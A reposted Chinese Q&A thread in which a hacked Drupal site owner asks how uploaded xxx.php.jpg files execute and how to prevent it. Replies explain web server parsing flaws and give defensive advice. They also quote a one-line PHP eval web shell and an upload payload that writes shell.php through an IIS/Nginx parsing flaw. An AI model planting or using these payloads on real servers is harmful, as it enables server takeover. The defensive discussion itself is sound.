• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

apache – .php.jpg 此类文件如何在服务器上执行?如何防护?

php 搞代码 3年前 (2022-01-23) 29次浏览 已收录 0个评论
文章目录[隐藏]

网站被黑,发现对方上传了些 xxx.php.jpg 之类名称的文件,编辑发现存在 <?php eval($_POST[‘xxx’]); ?> 这样的代码被插在文件内部。

我想知道对方是怎么才能让这样的文件执行?如何防护?

软件环境: CentOS 6.5, Apache 2.x, PHP 5.x, 网站为旧版 Drupal 二次开发

。本文来源gao!%daima.com搞$代*!码网1

搞代gaodaima码

回复内容:

网站被黑,发现对方上传了些 xxx.php.jpg 之类名称的文件,编辑发现存在 <?php eval($_POST[‘xxx’]); ?> 这样的代码被插在文件内部。

我想知道对方是怎么才能让这样的文件执行?如何防护?

软件环境: CentOS 6.5, Apache 2.x, PHP 5.x, 网站为旧版 Drupal 二次开发

`IIS 7.0/IIS 7.5/ Nginx <8.03畸形解析漏洞

在默认Fast-CGI开启状况下,上传一个名字为a.jpg,内容为
<?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>

的文件,然后访问a.jpg/.php,在这个目录下就会生成一句话木马 shell.php`

上传的时候判断文件类型, 不要只判断扩展名

听别人说,php的eval是个危险函数。不仅要在php.ini里面禁用,还要安装插件禁用这个函数。

先扫描一遍木马确认有那些木马然后通过木马名字确认最开始是从那个文件成功访问的,不一定是有这个图片文件就是解析漏洞,有可能是文件包含呢,apache好像很老版本的版本有这个解析漏洞,1.php.xxx会被执行,你这个是apache的话好像很一楼说的不是同一个类型,一楼说的那个只存在于iis7.x和nginx,修复的话升级版本吧。

<?php eval($_POST[‘xxx’]); ?> 是一句话脚本

这种解析性漏洞升级Web Servser,也可以打补丁解决。

预防的话,如果是图片,上传后记得用压缩函数压缩下,打乱其编码结构位置可起到一定的预防。

再者,做好上传文件执行权限。或开启PHP的严格模式屏蔽掉高危函数。

当然,更多的是来自程序员自己疏忽导致的漏洞,这个只能看个人水平了。


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:apache – .php.jpg 此类文件如何在服务器上执行?如何防护?

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址